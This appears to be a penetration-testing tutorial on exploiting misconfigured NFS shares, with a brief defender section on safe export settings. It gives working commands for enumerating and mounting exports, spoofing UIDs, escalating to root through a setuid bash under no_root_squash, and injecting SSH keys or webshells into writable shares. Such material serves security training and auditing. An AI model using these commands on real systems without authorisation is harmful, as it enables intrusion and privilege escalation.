NFS (Network File System) lets Unix/Linux systems share directories over the network. Misconfigured NFS shares — anonymous access, world-writable permissions, no_root_squash — turn file sharing into unauthorized file access and sometimes RCE.

How NFS Works

  • Server exports a directory
  • Clients mount it as if it were local
  • Permissions are checked by UID — the client’s UID determines access on the server
  • Authentication is typically “trust the client” (unless Kerberos is configured)

That last point is the attack surface: NFS trusts the client to report its UID honestly. Create a local user with UID 1000, and the NFS server treats you as whoever is UID 1000 on their system.

Discovery

NFS runs on TCP/UDP 2049 plus auxiliary services (portmap on 111):

# nmap
nmap -p 111,2049 target
nmap -p 111,2049 --script nfs-* target
 
# detailed nmap scripts
nmap -p 2049 --script nfs-showmount target
nmap -p 2049 --script nfs-ls target
nmap -p 2049 --script nfs-statfs target

Enumerating Exports

List what the server shares:

# showmount from a Linux client
showmount -e target
 
# example output:
Export list for target:
/mnt/nfs                  *
/home/public              192.168.1.0/24
/backup                   *

Three things to note:

  • /mnt/nfs * — exported to anyone
  • /home/public 192.168.1.0/24 — restricted to that subnet
  • /backup * — exported to anyone again

Anything exported to * is likely worth probing.

Mounting Shares

# as root
sudo mkdir -p /mnt/target
sudo mount -t nfs target:/mnt/nfs /mnt/target
 
# with specific NFS version
sudo mount -t nfs -o vers=3 target:/mnt/nfs /mnt/target
sudo mount -t nfs -o vers=4 target:/mnt/nfs /mnt/target
 
# noexec to prevent accidentally running trojaned binaries
sudo mount -t nfs -o noexec target:/mnt/nfs /mnt/target

Then browse:

ls -la /mnt/target
cat /mnt/target/sensitive_file

The UID Trick (No Root Squash Attack)

NFS validates access by UID. If a file is owned by UID 1000, you need UID 1000 on the client to access it.

Attack:

  1. Mount the share and look at file ownership:
    ls -lan /mnt/target
    # -rw------- 1 1000 1000 1234 Jan 1 10:00 /mnt/target/secret.txt
  2. The file is owned by UID 1000. If you’re root, you can either:
    • Create a local user with UID 1000, su to them, read the file
    • Just use chown locally on the mount if root_squash is disabled

no_root_squash — The Big Prize

By default, NFS maps requests from root (UID 0) to the nobody user (root_squash). If the server’s export was configured with no_root_squash, your local root is treated as the server’s root — which means you can read any file:

# check for no_root_squash via file access
# if you (root) can read root-owned files: no_root_squash is enabled
sudo cat /mnt/target/root_only_file

Even better — you can create setuid root binaries that execute as root when run on the server:

# on your client (as root):
cp /bin/bash /mnt/target/pwn_bash
chown root:root /mnt/target/pwn_bash
chmod u+s /mnt/target/pwn_bash
 
# on the server (as any user with access to the share):
./pwn_bash -p
whoami  # → root

The mounted directory often ends up mapped to a path on the server that other users can access. SSH in as any user and execute the setuid binary.

Writable Shares — Direct File Write

If the share is world-writable:

echo "attacker-controlled content" > /mnt/target/config.php

Useful for:

  • Dropping webshells into shared web directories
  • Writing authorized_keys to steal SSH access
  • Planting malicious binaries other users will execute

SSH Key Injection via NFS

If the share includes a user’s home directory:

# generate a key on your box
ssh-keygen -t ed25519 -f victim_key
 
# write to the victim's authorized_keys via NFS
mkdir -p /mnt/target/.ssh
cat victim_key.pub >> /mnt/target/.ssh/authorized_keys
chmod 600 /mnt/target/.ssh/authorized_keys
 
# SSH in as them
ssh -i victim_key victim@target

Watch file ownership — the written key needs to be owned by the target user (UID match).

Enumerating Mountable Shares at Scale

for host in $(cat hosts.txt); do
  echo "=== $host ==="
  showmount -e $host 2>/dev/null
done

Fast way to find exposed shares across a subnet.

NFS Versions

  • v3 — classic, uses auxiliary services (portmap, mountd, statd)
  • v4 — uses only port 2049, has optional Kerberos, more complex

v3 is still widely deployed in internal networks. v4 with Kerberos is harder to attack because UID spoofing doesn’t work.

Defender Perspective

What good configurations look like:

/exports/data 10.0.0.0/24(rw,sync,root_squash,no_subtree_check)
  • rw — allow writes (if needed)
  • root_squash — downgrade root to nobody (critical)
  • restricted subnet — not *
  • Kerberos (sec=krb5p) for authentication if available

What to look for in the wild:

  • * in export list
  • no_root_squash in /etc/exports
  • insecure flag (allows requests from ports > 1024)

Methodology

  1. Scan for ports 111 and 2049
  2. showmount -e target to list exports
  3. Mount exports accessible to you
  4. Enumerate file ownership (ls -lan) and look for sensitive files
  5. Try reading files as different UIDs (create local users matching server UIDs)
  6. Check for no_root_squash by reading root-owned files
  7. If no_root_squash: drop setuid binary for priv esc
  8. If writable: plant webshells, authorized_keys, or backdoors